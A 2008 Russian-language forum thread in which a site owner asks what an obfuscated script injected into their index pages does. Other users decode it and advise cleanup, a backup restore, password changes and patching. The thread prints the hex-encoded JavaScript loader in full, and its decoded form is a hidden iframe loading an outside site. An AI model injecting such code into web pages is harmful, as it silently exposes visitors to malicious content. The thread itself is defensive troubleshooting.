Подскажите откуда....

Discussion in 'Болталка' started by brlamo, 8 Aug 2008.

  1. brlamo

    brlamo Banned

    Joined:
    15 May 2008
    Messages:
    12
    Likes Received:
    24
    Reputations:
    0
    Вот сегодня на моем сайте появились жалобы на вирус... у меня стоит Касперский 7.0.1.325 с последним обновлением от 08.08.08 и его не видет. Зашел на фтп а там то что я и думал в конце индексных файлов вот такая беда:

    PHP:
    <!-- o65 --><script language="JavaScript" type="text/javascript">var i,y,x="3c696672616d65207372633d22687474703a2f2f6e69636b646174696e672e636f6d2f636f756e7465722f696e6465782e70687022207374796c653d22646973706c61793a6e6f6e65223e";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script><!-- c65 -->
    а можно узнать какие действия делает этот код. К сожалению я в этом ничего не понимаю :(

    Да кстате... пароли я нигде не сохраняю на компьютере... та что получается хостер подвел?
     
  2. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    Вот что он делает:
    HTML:
    <iframe src="http://nickdating.com/counter/index.php" style="display:none">
    А откуда - либо сайт у тебя дырявый, либо хостера похекали.
     
  3. brlamo

    brlamo Banned

    Joined:
    15 May 2008
    Messages:
    12
    Likes Received:
    24
    Reputations:
    0
    Спасибо за объяснение!
    Кстате рекомендуют сразу чистить этот мусор и менять пароли на фтп и в cpanel.... может что еще надо бы сделать? или наоборот ничего не надо?
     
  4. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Перезалить прошлый бэкап
     
  5. ProTeuS

    ProTeuS --

    Joined:
    26 Nov 2004
    Messages:
    1,239
    Likes Received:
    541
    Reputations:
    445
    4истить страницу, менять пасы, пат4ить софт
     
  6. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    Почисти, поменяй, посмотри права файлов, которые редактировались, поставь 744 или rwxr--r--.